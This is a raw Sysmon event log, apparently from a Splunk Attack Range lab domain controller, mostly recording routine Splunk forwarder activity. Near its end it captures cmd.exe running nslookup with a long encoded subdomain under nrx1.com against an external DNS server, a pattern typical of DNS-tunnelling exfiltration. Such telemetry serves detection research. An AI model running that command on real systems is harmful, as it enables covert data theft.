15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000058214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.628{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000058209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BF820813551F4C34229F0390AE71AD81,SHA256=8B6F3E9877DE4B1DE5750C9A6424C0EB9283ED98AA8FCF543A9B25C48A15303F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.159{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000058207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.159{7BD73061-7597-613B-C20B-00000000F001}49161076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.159{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.159{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000058431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2710421A765A659DC11FE93ED697D1DF,SHA256=9744C9EA4DEBCA4340E378517AFC08AB5ABCF05472755DF2D5116C6230AA49CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.799{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0316DAF221CFA6C4C15E43C5DCC27F3,SHA256=D1C9B635D9DD6A1F5FAF4876C339D561AA1C486105DFD094500419B6B45FD4CD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA5AC95A46271E4211E3B7915194D89F,SHA256=D99BAF197970556AC0E85AF24F1D35809225B4894C28E72DED3C3B7959C7D1DD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4F6DEE854031D170DB25F9E256801E94,SHA256=63332072D7B9F8C4ACD0837274BB524D35618FB77BECDFCC85E5975A59702054,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000058426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000058424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000058423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000058422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000058421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000058420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000058416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C70B-00000000F001}56565064C:\Windows\system32\conhost.exe{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.690{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exeC:\Windows\System32\nslookup.exe10.0.14393.0 (rs1_release.160715-1616)nslookupMicrosoft® Windows® Operating SystemMicrosoft Corporationnslookup.exeMD5=488698C899FE524430270C1D14FE99CF,SHA256=24553BFAB13871FAF3EE6F1F8EFECC5D25368A706A42CA35319228D3547418FA,IMPHASH=446F3F94B921C80C9E9497075AA3EF61trueMicrosoft WindowsValid 10341000x800000000000000058411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.674{7BD73061-7599-613B-C60B-00000000F001}6264492C:\Windows\system32\cmd.exe{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.687{7BD73061-7599-613B-C80B-00000000F001}2888C:\Windows\System32\nslookup.exe10.0.14393.0 (rs1_release.160715-1616)nslookupMicrosoft® Windows® Operating SystemMicrosoft Corporationnslookup.exenslookup.exe -timeout=5 -retry=3 -type=A POvEecRzGA5lnLUS7Wt1BNaqTIZuoK3QpFjXJfgsCY4x89hHDb_*dikVM0r2mw6.ySVW0oRBwugc9I1wVZkfdKqW*KqKs31ia7cKL7tBDWfcaqiK5tkJfLdNxA1ekuj.BDLjBD7_BDUtBDn_BDnkofnEpfnEBfnEnfneefnBNEWjBDLtBDWvBDnvBDnvBbW.nrx1.com 94.103.82.250 C:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=488698C899FE524430270C1D14FE99CF,SHA256=24553BFAB13871FAF3EE6F1F8EFECC5D25368A706A42CA35319228D3547418FA,IMPHASH=446F3F94B921C80C9E9497075AA3EF61{7BD73061-7599-613B-C60B-00000000F001}6264C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" /c nslookup.exe -timeout=5 -retry=3 -type=A 